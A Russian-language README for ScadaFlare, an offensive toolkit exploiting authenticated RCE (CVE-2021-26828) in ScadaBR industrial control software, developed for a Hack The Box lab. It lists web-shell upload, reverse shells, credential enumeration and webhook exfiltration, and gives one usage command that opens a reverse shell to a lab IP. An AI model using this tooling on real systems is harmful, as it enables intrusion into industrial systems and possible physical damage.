ScadaFlare - Набор инструментов для аутентифицированного RCE CVE-2021-26828

Модульный эксплойт аутентифицированного RCE, нацеленный на ScadaBR <1.1.0, расширенный для операций красных команд.

Возможности

• Загрузка вооруженной оболочки .jsp через view_edit.shtm
• Поддержка нагрузок для Linux и Windows
• Поддержка прокси SOCKS5 / HTTP
• Запуск обратной оболочки (стандартной или base64)
• Модули перечисления (БД, учетные данные, Log4Shell и др.)
• Экфильтрация через webhook (Slack / Discord)
• Генерация скрипта ресурса Metasploit
• Поддержка очистки (аварийное отключение)

Соответствие технике MITRE ATT&CK

CVE

• CVE-2021-26828
• Обнаружено Фелипе Оливейрой
• Эксплойт улучшен и модуляризован

Для чего это нужно

Этот эксплойт был разработан при анализе сценария HTB Pro Lab: Alchemy. Изначальный PoC от Фелипе Оливейры был качественным, но:

• Написан на Python 2
• Не имел современных функций, таких как поддержка прокси, очистка оболочки, цепочки перечисления
• Был сложен для расширения или интеграции в рабочие процессы красных команд

ScadaFlare — это полная переработка на Python 3 с модульной поддержкой, несколькими стратегиями обхода, определением ОС с возможностью переопределения, интеграцией webhook, поддержкой SOCKS-прокси и цепочками перечисления для использования операторами в реальных условиях.

Использование

python3 scadaflare.py http://172.16.0.20:80 admin admin \
  --reverse-ip 10.10.14.44 --reverse-port 4445 \
  --verbose --cleanup

Только законное и этическое использование

ScadaFlare предназначен исключительно для:

• Обучения этичному взлому
• Тестирования SCADA-лабораторий
• Оборонительных исследований и проверки уязвимостей

Несанкционированное использование против реальных промышленных систем может:

• Нарушить физические процессы
• Привести к повреждениям или угрозам безопасности
• Повлечь серьезные юридические последствия

Используя этот инструмент, вы принимаете полную ответственность за:

• Получение явного письменного разрешения
• Работу только в одобренных средах

Лицензия

Лицензия MIT – см. LICENSE